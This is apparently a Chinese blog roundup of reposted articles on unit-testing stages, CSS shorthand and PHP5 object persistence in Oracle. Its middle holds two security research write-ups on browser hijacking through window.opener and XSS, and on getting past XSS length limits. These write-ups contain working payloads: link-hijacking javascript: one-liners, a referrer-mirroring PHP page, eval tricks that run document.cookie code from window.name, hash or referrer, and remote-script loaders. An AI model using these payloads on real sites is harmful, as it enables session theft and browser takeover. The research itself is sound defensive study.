以前一直都在转贴taobaoQA的关于测试类的文章,对于PHP来说,很少有人用到单元测试,毕竟PHP的调试确实很方便 。
但近年来,随着PHP越来越深入于做企业应用,因此对于单元测试的要求也就越来越被人放到台前。PHPUNIT都3.0了,想想看发展了多久了。
这是向东的博客上的一篇文章,不知道对各位有没有用,我是先复制下来看看。
1. 以各种借口拒绝单元测试Unit Test,比较常用的是“你没有足够的时间(进行单元测试)”。
2. 尝试单元测试并且立刻开始在自己的博客商鼓吹单元测试和测试驱动开发Test Driven Development的好处。
3. 单元测试一切。为了能够完成单元测试,而将私有private的方法和属性修改为内部internal;为了达到单元测试覆盖率100%而测试getter() 和 setter() 属性(方法)。
4. 无法忍受脆弱的单元测试,在没有弄明白是什么的时候,就匆忙转向“集成测试" integration test。
5. 发现了一种模拟 mocking 框架,并且乐于使用强制语义(strict semantics)。
6. 模拟mock所有可能模拟mocked的对象。
7. 开始真正有效单元测试。
你也可以参看如下文章:
http://www.xiangdong.org/blog/post/1665/
http://www.xiangdong.org/blog/post/1716/
http://www.xiangdong.org/blog/post/1354/
http://www.xiangdong.org/blog/visit.php?job=viewresult&sid=c642dcc3563a1ce54c5f3885b97b0105
原文在这里:http://www.xiangdong.org/blog/post/1768/
来自小程的CSS知识收集。简单,相对比较实用,不过,还是有专业的美工才是实在啊。
原文地址:http://www.cnblogs.com/chenghuichao/archive/2009/05/09/1453026.html
css的一些简写规则:
1.颜色
16进制的色彩值,如果每两位的值相同,可以缩写一半,例如:
#000000可以缩写为#000;#663399可以缩写为#639;
2.盒尺寸
通常有下面四种书写方法:
property:value1; 表示所有边都是一个值value1;
property:value1 value2; 表示top和bottom的值是value1,right和left的值是value2
property:value1 value2 value3; 表示top的值是value1,right和left的值是value2,bottom的值是value3
property:value1 value2 value3 value4; 四个值依次表示top,right,bottom,left
方便的记忆方法是顺时针,上右下左。具体应用在margin和padding的例子如下:
margin:1em 0 2em 0.5em;
3.边框(border)
边框的属性如下:
border-width:1px;
border-style:solid;
border-color:#000;
可以缩写为一句:border:1px solid #000;
语法是border:width style color;
4.背景(Backgrounds)
背景的属性如下:
background-color:#f00;
background-image:url(background.gif);
background-repeat:no-repeat;
background-attachment:fixed;
background-position:0 0;
可以缩写为一句:background:#f00 url(background.gif) no-repeat fixed 0 0;
语法是background:color image repeat attachment position;
5.你可以省略其中一个或多个属性值,如果省略,该属性值将用浏览器默认值,默认值为:
color: transparent
image: none
repeat: repeat
attachment: scroll
position: 0% 0%
6.字体(fonts)
字体的属性如下:
font-style:italic;
font-variant:small-caps;
font-weight:bold;
font-size:1em;
line-height:140%;
font-family:"Lucida Grande",sans-serif;
可以缩写为一句:font:italic small-caps bold 1em/140% "Lucida Grande",sans-serif;
注意,如果你缩写字体定义,至少要定义font-size和font-family两个值。
7.列表(lists)
取消默认的圆点和序号可以这样写list-style:none;,
list的属性如下:
list-style-type:square;
list-style-position:inside;
list-style-image:url(image.gif);
可以缩写为一句:list-style:square inside url(image.gif);
本文和上一篇 一样,我主要是为了了解攻击方法才记录的。有些东西确实没有注意过。以后要多注意啊。不然,就成为别人攻击的目标了。
原文:http://hi.baidu.com/isbx/blog/item/c9baf31f5b36cd6bf724e421.html
很多断行,已经重新排 版
|=---------------------------------------------------------------------------=|
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=------------------------=[ By rayh4c ]=---------------------------=|
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
|=---------------------------------------------------------------------------=|
[目录]
1. 前言
2. 同源策略简叙
3. 理解window对象的同源策略
4. 窗口引用功能中的同源策略漏洞
4.1 父窗口引用子窗口的同源策略问题
4.2 子窗口引用父窗口的同源策略问题
5. 利用窗口引用漏洞劫持浏览器
6. 利用XSS漏洞劫持浏览器
6.1 正向跨窗口劫持
6.2 反向跨窗口劫持
6.3 极度危险的跨框架窗口引用劫持
6.4 极度危险的正反向跨窗口递归劫持
6.5 完全控制浏览器
7. 后记
8. 参考
一、前言
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
二、同源策略简叙
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
三、理解window对象的同源策略
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
JavaScript代码
- <script language="javascript">
- for(p in window) document.write(p+"<br>");
- </script>
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,这些属性和方法就必须遵循同源策略。
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
属性并没有被拒绝访问。
XML/HTML代码
- <script language="javascript">
- function allPrpos(obj) {
- var props = "<table><tr><td>名称</td><td>值</td>";
- for(var p in obj){
- if(typeof(obj[p])=="function"){
- obj[p]();
- }else{
- try
- {
- props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
- }
- catch (ex)
- {
-
- props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
- }
-
- }
- }
-
- document.write(props+"</table>");
- }
-
- function createWin() {
- newWin = window.open ("http://www.google.com");
- setTimeout(function(){allPrpos(newWin)},2000);
- }
-
- </script>
-
- <button onclick='createWin()'>创建一个非同源子窗口测试</button>
四、窗口引用功能中的同源策略漏洞
4.1 父窗口引用子窗口的同源策略问题
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进行测试,会发现父窗口可以控制非同源子窗口location属性值。
XML/HTML代码
- <script language="javascript">
- function createWin() {
- newWin = window.open ("http://www.google.com");
- setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
- }
- </script>
-
- <button onclick='createWin()'>创建一个非同源子窗口测试</button>
4.2 子窗口引用父窗口的同源策略问题
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
JavaScript代码
- javascript:window.opener.location = "http://www.80sec.com";void(0);
五、利用窗口引用漏洞劫持浏览器
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下会产生什么可怕的后果。
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php。
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可以做更多的事情,所有的一切仅仅是因为点击了一个链接。
hjk_ref.php代码
- <?php
- if (array_key_exists("HTTP_REFERER", $_SERVER)) {
- $Url_Mirror = $_SERVER["HTTP_REFERER"];
- }
- if(isset ($_GET['ref'])) {
- echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
- }
- ?>
-
- <script language="javascript">
- setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
- </script>
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
六、利用XSS漏洞劫持浏览器
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起讨论跨站师的终极技巧:
6.1 正向跨窗口劫持
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话框脚本。
hijack_open.js代码
- javascript:for(i=0;i<document.links.length;i++){document.links[i].onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
6.2 反向跨窗口劫持
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话框脚本。
hijack_opener.js代码
- javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
6.3 极度危险的跨框架窗口引用劫持
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个非持久型的XSS,如下:
XML/HTML代码
- <iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
注入脚本。
hijack_frame_opener.js代码
- <script>
- window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
- </script>
6.4 极度危险的正反向跨窗口递归劫持
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过异常处理规避之间跨域页面的访问异常,代码如下:
JavaScript代码
- javascript:(function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可以劫持B域之前的A域页面,从而实现“隔空打击”。
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
6.5 完全控制浏览器
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站师的终极目标 - 完全控制浏览器。
七、后记
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
八、参考
1. http://en.wikipedia.org/wiki/Same_origin_policy
2. http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_DOM_access
3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html
贴本文的意思并非传播黑客技术,而是根据攻击的方向和内容来提醒自己 ,以后写代码需要注意的事项。
原文:http://hi.baidu.com/isbx/blog/item/bee2d31b7ab4bdddac6e7521.html
==Ph4nt0m Security Team==
Issue 0x03, Phile #0x04 of 0x07
|=---------------------------------------------------------------------------=|
|=-----------------=[ 突破XSS字符数量限制执行任意JS代码 ]=-------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=------------------------=[ By luoluo ]=---------------------------=|
|=----------------------=[ <luoluo#ph4nt0m.org> ]=-------------------------=|
|=----------------------=[ <luoluo#80sec.com> ]=------------------------=|
|=---------------------------------------------------------------------------=|
[目录]
1. 综述
2. 突破方法
2.1 利用HTML上下文中其他可以控制的数据
2.2 利用URL中的数据
2.3 JS上下文的利用
2.4 利用浏览器特性在跨域的页面之间传递数据
2.4.1 document.referrer
2.4.2 剪切板clipboardData
2.4.3 窗口名window.name
2.5 以上的方式结合使用
3. 后记
4. 参考
一、综述
有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不受限制执行任意JS。对于跨站师们来说,研究极端情况下XSS利用的可能性是一种乐趣;对于产品安全人员来说,不受限制的利用的可能是提供给开发人员最有力的证据,要求他们重视并修补这些极端情况下的XSS漏洞。
突破的方法有很多种,但是突破的思想基本都一样,那就是执行可以控制的不受限制的数据。
二、突破方法
2.1 利用HTML上下文中其他可以控制的数据
如果存在XSS漏洞的页面HTML上下文还有其他可以控制的数据,那么可以通过JS获得该数据通过eval或者document.write/innerHTML等方式执行该数据,从而达到突破XSS字符数量限制的目的,下面例子假设div元素的内部数据可以控制,但是该数据已经被HTML编码过:
XML/HTML代码
- <div id="x">可控的安全的数据</div>
- <limited_xss_point>alert(/xss/);</limited_xss_point>
由于XSS点有字符数量限制,所以这里只能弹框,那么我们可以把XSS的Payload通过escape编码后作为安全的数据,输出到可控的安全数据位置,然后在XSS点执行可控的安全数据:
XML/HTML代码
- <div id="x">alert%28document.cookie%29%3B</div>
- <limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
长度:28 + len(id)
由于x内部的数据没有字符数量的限制,那么从而可以达到执行任意JS的目的。
2.2 利用URL中的数据
如果页面里不存在上一节所说的可控HTML上下文数据怎么办?有些数据是我们无条件可控的,第一个想到的就是URL,通过在URL的尾部参数构造要执行的代码,然后在XSS点通过document.URL/location.href等方式获得代码数据执行,这里假设代码从第80个字符开始到最后:
XML/HTML代码
- http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)
-
- <limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
长度:30
XML/HTML代码
- <limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
长度:31
上面两个例子对比,前一个例子更短,那么有没有办法更短呢?通过查阅JavaScript手册的String的方法可以发现,切割字符串有一个更短的函数slice,5个字符比substr还要短一个字符:
XML/HTML代码
- <limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
长度:29
XML/HTML代码
- <limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
长度:30
那么还有没有办法更短呢?答案是YES,查阅一下MSND里的location对象的参考你会发现
有个hash成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获
得代码执行,由于获得的数据是#开头的,所以只需要slice一个字符就可以拿到代码:
XML/HTML代码
- http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)
-
- <limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
长度:29
这样比上面的例子又少了一个字符。那么还可以更短么?
2.3 JS上下文的利用
为什么我如此痛苦?那是因为JS和DHTML的方法名和属性名太长!瞧瞧这些“糟糕”的名字:
JavaScript代码
- String.fromCharCode
- getElementById
- getElementsByTagName
- document.write
- XMLHTTPRequest
- ...
就连开发人员也不愿意多写一次,于是很多站点的前端开发工程师们封装了各式各样的简化函数,最经典的例子就是:
JavaScript代码
- function $(id) {
- return document.getElementById(id);
- }
这些函数同样可以为我们所用,用来缩短我们的Payload的长度。不过上面这个例子不是最短的,IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码:
XML/HTML代码
- function loads(url) {
- ...
- document.body.appendChild(script);
- }
-
- <limited_xss_point>loads('http://xxx.com/x');</limited_xss_point>
长度:len(函数名) + len(url) + 5
当然你的url则是越短越好哦!有些函数则会帮我们去作HTTP请求:
XML/HTML代码
- function get(url) {
- ...
- return x.responseText;
- }
-
- <limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point>
长度:len(函数名) + len(url) + 11
道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用,比如:
JQuery
YUI
...
综上所述,我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我们的代码,进而突破长度限制执行任意代码。
2.4 利用浏览器特性在跨域的页面之间传递数据
虽然有同源策略的限制,浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的方法,我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。
2.4.1 document.referrer
攻击者可以在自己的域上构造页面跳转到被XSS页面,在自己域上的页面的url里带了Payload,被XSS的页面通过referrer获取相关代码执行。
攻击者构造的的页面:
XML/HTML代码
- http://www.a.com/attack.html?...&alert(document.cookie)
-
- <a href="http://www.xssedsite.com/xssed.php">go</a>
被XSS的页面:
XML/HTML代码
- <limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>
长度:34
这种方式利用上还有一些问题,如果使用location.href或者<meta http-equiv=refresh>实现的自动跳转,在IE里被攻击页面拿不到referrer,而FF则可以。QZ建议用表单提交的方式比较好,我测试了下,果然通用,FF/IE都可以成功获取referrer:
JavaScript代码
- <script type="text/javascript">
- <!--
- window.onload = function(){
- var f = document.createElement("form");
- f.setAttribute("method", "get");
- f.setAttribute("action", "http://www.xssedsite.com/xssed.php");
- document.body.appendChild(f);
- f.submit();
- };
-
- </script>
2.4.2 剪切板clipboardData
攻击者在自己域的页面上通过clipboardData把Payload写入剪切板,然后在被XSS页面获取并执行该数据。
攻击者构造的页面:
JavaScript代码
- <script>
- clipboardData.setData("text", "alert(document.cookie)");
- </script>
被XSS的页面:
XML/HTML代码
- <limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>
长度:36
这种方式只适用于IE系列,并且在IE 7及以上版本的浏览器会有安全提示。
2.4.3 窗口名window.name
这是一个很少被用到的特性,在研究同源策略时就注意过这个属性,它是可以跨域传递数据的,但是这个特性本身并不是漏洞。
如果仔细研究过window.open这个方法,会发现一个不常用的第二个参数,这个则是设置窗口名,用于指定target窗口,如果不存在的话则创建新的子窗口,并设置子窗口的name。当我想打搜window.open时一阵狂喜,喜的是window.name这个属性是window对象的成员,那么只需要name就可以引用该属性,但是测试时却发现window.open方法对于第二个参数进行了严格的检查,只允许数字字母以及下划线的组合,禁止特殊字符进入,那么这种方式就没法写入JS或者VBS。
但是经过测试发现我们可以通过window.name直接设置当前窗口的name则没有特殊字符限制,然后直接跳转到被XSS的页面,通过name属性传递Payload过去执行:
攻击者构造的页面:
JavaScript代码
- <script>
- window.name = "alert(document.cookie)";
- locaton.href = "http://www.xssedsite.com/xssed.php";
- </script>
被XSS的页面:
XML/HTML代码
- <limited_xss_point>eval(name);</limited_xss_point>
长度:11
这个长度可以说是短到极致了,并且这个方法IE/FF都可以很好的支持,是个非常有意思的技巧,这个技巧的发现也是促成本文的直接原因。
window.name的特性还有其他一些有趣的应用方式,这个方面的话题以后可以专门写篇文章来探讨。
2.5 以上的方式结合使用
以上的方式结合使用,一般情况下会使得长度更长,但是也不排除在某些变态的过滤情况中,灵活的组合上面的方法可能会起到奇效。
三、后记
JS非常灵活,所以方法肯定不限于这些,在具体的问题的分析和研究中,可以获得很多的乐趣,并且对JS以及浏览器本身有了更深的认识,如果您有巧妙的技巧或者新奇的构思,欢迎和我交流!
感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见!
本文是纯粹的技术探讨,请勿用于非法用途!
四、参考
http://msdn.microsoft.com/en-us/library/aa155073.aspx
在数据库驱动的 Web 应用程序中实现 PHP5 对象的持久,朝着完全面向对象的 Web 应用程序开发迈进重要的一步。
许多开发人员都认同 PHP5 的面向对象实现的简洁和高效,并且同样被世界上最著名的数据库 — Oracle — 的强大功能和强健性所吸引。然而,从逻辑上更进一步 — 将 PHP 对象存储在数据库中以进行 Web 应用程序开发 — 可能将非常困难。
在这篇方法文档中,您将了解到如何通过一个(在 OracleDatabaseObject 程序包(下载)中提供的)对象持久层来存储和检索作为 Oracle 数据库中的对象的 PHP5 对象。利用这一技巧,任何 Oracle 开发人员都能够在他们的 Web 应用程序中最终实现完全面向对象 — 从而专注于应用程序逻辑,而不是麻烦的 SQL 和编码。
什么是对象持久层?
在解释如何在 Oracle 数据库中实现 PHP 对象的持久的机制之前,大家需要先了解支持它们的原理:对象持久层的概念。
世界上最受欢迎的脚本语言 PHP 只是在最近才为我们提供了面向对象的一个完整和合理的实现(在 PHP5 中)。这为希望效仿面向对象方法的严格性和灵活性的开发人员展现了一个激动人心的前景,面向对象方法在“传统的”编程环境中已经存在了很多年。然而,由于 关系数据库在 Web 的发展中扮演了如此关键的角色,希望充分利用这种方法的开发人员将面临一个的两难境地:对象技术明显不适合关系数据库技术。数据库需要表,而不是类;表需 要行,而不是对象。教科书上把这种现象称为“阻抗失谐”。
早于对象技术出现的关系数据库可以对作为简单类型集中在一起的简单数据进行适当地建模;例如,Person 表可以包含姓名 (varchar2)、身高 (INT) 和出生日期 (DATE) 列。相比而言,对象技术支持复杂数据类型的概念。例如,Person 对象可以包含 name 和 height 的基本类型,但也可以包含类型为 Person 的 partner、类型为 Job 的 job,每一种类型都有它们自己的复杂的数据结构。
因此,想收获面向对象方法的好处并存储复杂数据类型(PHP 对象)的 Web 开发人员只有两种选择:模拟或使用对象数据库,或者更可能的是,以专门的方式简单地存储数据对象。后一种做法(虽然很流行)是完全不可接受的,因为它抛弃 了面向对象的简洁性、可扩展性和可重用性,而这些是面向对象的主要好处。
幸运的是,Oracle 提供了对象类型、PL/SQL 和 REF。这些特性结合在一起形成了 Oracle 自己的面向对象实现;虽然这种实现从技术上看是不完整的,但它的确使开发人员能够容易地将对象存储为数据库对象,而不是以固定类型存储在表的行中。
然而,只是因为 PHP 和 Oracle “使用”对象技术并不意味着可以将 PHP 对象存储为 Oracle 对象(反之亦然)。因此,需要对象持久层服务来使 PHP 开发人员能够简单、高效地在 Oracle 数据库中存储和检索对象。
可以通过许多方式来执行这一操作,但所有方法都必须满足同样的需求:
- 必须通过简单、高效的服务来存储和检索对象。
- 存储在数据库中的对象必须能够包含对其他对象(复杂数据类型)的引用。
- 每一个对象必须有一个唯一的标识符。
- 当保存对象时,还必须能够保存所有其他相关的对象状态。
- 当检索对象时,还必须能够检索所有其他相关的对象状态。
OracleDatabaseObject 程序包是我对这些需求的实现。它反映了现有的最简洁的方法:使用抽象类和数据类型来对通用 的 Oracle 数据库对象建模。该方法允许任意类简单地继承这个通用类,从而继承持久所需的所有服务 — 实质上将其自身封装在一个可以和 Oracle 数据库接口的层中(参见下图)。
对象持久层将动态提供在数据库中实现对象持久所需的一切。无论何时当调用了方法 save() 来将 PHP5 对象存储到数据库中时,持久层的第一个任务是测试在此之前是否存储过这种类型的对象。如果没有,则将检查对象的状态(属性类型和值)。考虑以下对象:
如果在 Person1 上调用了 save() 方法,并且这是要保存在数据库中的第一个类型为 Person 的对象,那么将检查状态和它们的类型 — 在这种情况下,属性 Name、Age 和 Partner 分别有 PHP5 类型 String、Integer 和 Person。然后,要使这个对象能够持久,持久层将创建一个 Oracle 对象类型(也称为 Person),它的结构基于它对应的 PHP5 对象的状态。该层将在 Oracle 中复制 PHP5 类型 — Name (PHP5 string) 将变为 Oracle VARCHAR2;Age (PHP5 integer) 将变为 Oracle Number;PHP5 Partner(类型为 Person)将变为类型为 Person 的 Oracle REF。(关于这些转换的概述,请查看表 1。)
PHP5 类型 |
Oracle 对象类型 |
Numeric |
Number |
String |
VARCHAR2 |
Array |
VARCHAR2 * |
Object |
Object |
Associated Object |
REF to Object |
* 在撰写本文时,出于性能的目的,数组作为序列化的字符串以 VARCHAR2 类型存储在 Oracle 中。
然而,在未来,它们可能由 Oracle VARRAY 来实现。
一旦创建了 Oracle 对象类型结构来模拟它对应的 PHP5 类,属性值就将被保存到新创建的对象类型的表中。按照上述的第 4 点需求,当保存一个对象及其关联的对象时(如以上示例所示),还必须保存所有的关联关系。只需通过确保在检查和保存当前对象的内部状态时调用相关对象的 save() 方法来实现这一需求。
了解这些实现细节对于判断持久层具体在做些什么非常有用,但这种方法的强大之处在于您不需要了解这些。作为开发人员,您需要做的全部是利用交互对象来开发 和实现类 — 完全可以忽略所涉及的编程工作。利用这一层的服务,您可以在数据库中存储和检索对象,而永远无需设置表或处理 SQL,从而使您只需考虑应用程序自身的逻辑。
现在让我们看一个例子。
何时使对象持久
利用类和对象进行开发的实践是现在 PHP5 开发人员的日常工作。但并非所有这些对象都将在 Oracle 数据库中持久。因此,第一步是要决定是否需要为指定类的对象添加持久服务。
随着开发人员倾向于对 Web 全部使用面向对象,我们将共同创建并能够访问成千上万个类 — 但我们必须记住它们并非全部需要持久。相反,您必须考虑您的类代表了什么抽象概念,以及将如何在应用程序中使用类的对象。作为一条通用的基本原则:
如果在脚本完成之后必须存储对象的状态,并且在脚本运行时必须能够访问和/或更新对象的状态,那么就必须持久对象。
例如,大部分面向对象的 Web 开发人员会在应用程序中使用表单对象 — 但很少需要将它们存储在数据库中。例如,您不需要保存表单对象(包括其元素、目标、名称等),因为它在被创建之后就不会改变;所以无需在脚本中设置对象属 性并将它们存储在数据库中。相比而言,如果您在开发一个电子日历应用程序,那么您可能想使用条目对象作为每一天的对象,这种对象将在添加和编辑它们时改 变。当添加或修改了一个条目时,对象的状态也将改变;当一个条目变化时,您将把更新的版本保存在数据库中。
因此让我们利用这种应用程序的示例来浏览一下使用在下载(在撰写本文时提供了测试版本,计划在 2005 年底之前推出产品版本)中提供的 OracleDatabaseObject 程序包 (OracleDatabaseObject.class.php) 将持久服务添加到一个简单的 TestEntry 类 (TestEntry.class.php) 中的过程。
将 Oracle 数据库持久添加到类中
原始的 TestEntry 类如下所示:
PHP代码
- class TestEntry
- {
-
- public $title;
- public $body;
- public $author;
- public $dayName;
-
-
- function display()
- {
-
- Echo $this->title ."<BR>" .$this->body ."<BR>" .$this->author;
- }
-
- }
传统上将这个类的对象存储在 Oracle 数据库中将非常复杂。这个过程将包含创建一个与类的内部状态类似的表,然后利用关系 SQL 编写一系列的过程函数来插入/更新/删除类的各个属性。这是一个非常复杂、低效的任务 — 当对象变得更复杂时(可能包含数组或其他对象),它将变得几乎不可能完成。
OracleDatabaseObject 类使得您在其他方式下将手动完成的一切 — 例如存储类的内部状态(包括所有属性的类型)和创建 Oracle 对象类型 — 都变为动态完成,从而使得这个过程变得非常简单。最终的结果是您永远无需担心创建或修改 Oracle 数据库中的表或类型;您所需做的一切是专注于应用程序的逻辑。
因此,下面将创建 TestEntry 对象,并在数据库中存储和检索它们,让您的类继承 OracleDatabaseObject 类,该类已经内置了您所需的所有服务(参见表 2)。
表 2
方法 |
参数 |
目的 |
用途示例 |
对象 |
save() |
无 |
将当前对象保存为数据库中的对象 |
$anObject->save() |
load() |
无 |
利用当前的 objectName 从数据库中加载对象
|
$anObject->load() |
类 |
addDatabaseUser ($username ) |
包含用户名的字符串,该字符串将用于存储类对象的数据库 |
- 为存储类的对象的 Oracle 服务器设置用户名、口令和数据库名称,使得能够利用各自的用户名和口令在各个数据库中存储类。
|
ClassName::setUserName(‘scott’) |
addDatabasePass ($password) |
包含口令的字符串,该字符串将用于存储类对象的数据库 |
- ClassName::setPassword(‘tiger’)
-
-
-
|
addDatabaseName ($databasename ) |
包含数据库名称的字符串,该字符串将用于存储类对象的数据库 |
ClassName::setDatabase(‘orcl’) |
将这些服务提供给 TestEntry 类的过程为:
PHP代码
- <?php
- include_once 'DatabaseObject.class.php';
- include_once 'OracleDatabaseObject.class.php';
-
- class TestEntry extends OracleDatabaseObject
- {
-
- public $title;
- public $body;
- public $author;
- public $dayName;
-
- function display()
- {
- echo $this->title ."<BR>" .$this->body ."<BR>" .$this->author;
- }
-
- }
下面您将通过使用 include_once 关键字(如第 1 行和第 2 行所示)来包含对您所需的类的访问权(OracleDatabaseObject 是一个继承 DatabaseObject 的抽象类)。然后可以使用 PHP5 继承关键字 extends(第 4 行)来继承 OracleDatabaseObject 类。继承的工作方式是获取父类的所有特性(方法)和属性(属性)并将它们提供给子类。这是一个简单但强大的想法(如下图所示):最初的 TestEntry 类继承 OracleDatabaseObject 类,产生一个结合了两者的特性的新的 TestEntry 类。
(左边显示的继承将产生右边显示的 Entry 类的一个新的版本。)
接下来,您将创建 TestEntry 类的对象,并使用服务层在 Oracle 数据库中保存和检索对象。
创建和使用 Oracle 持久对象
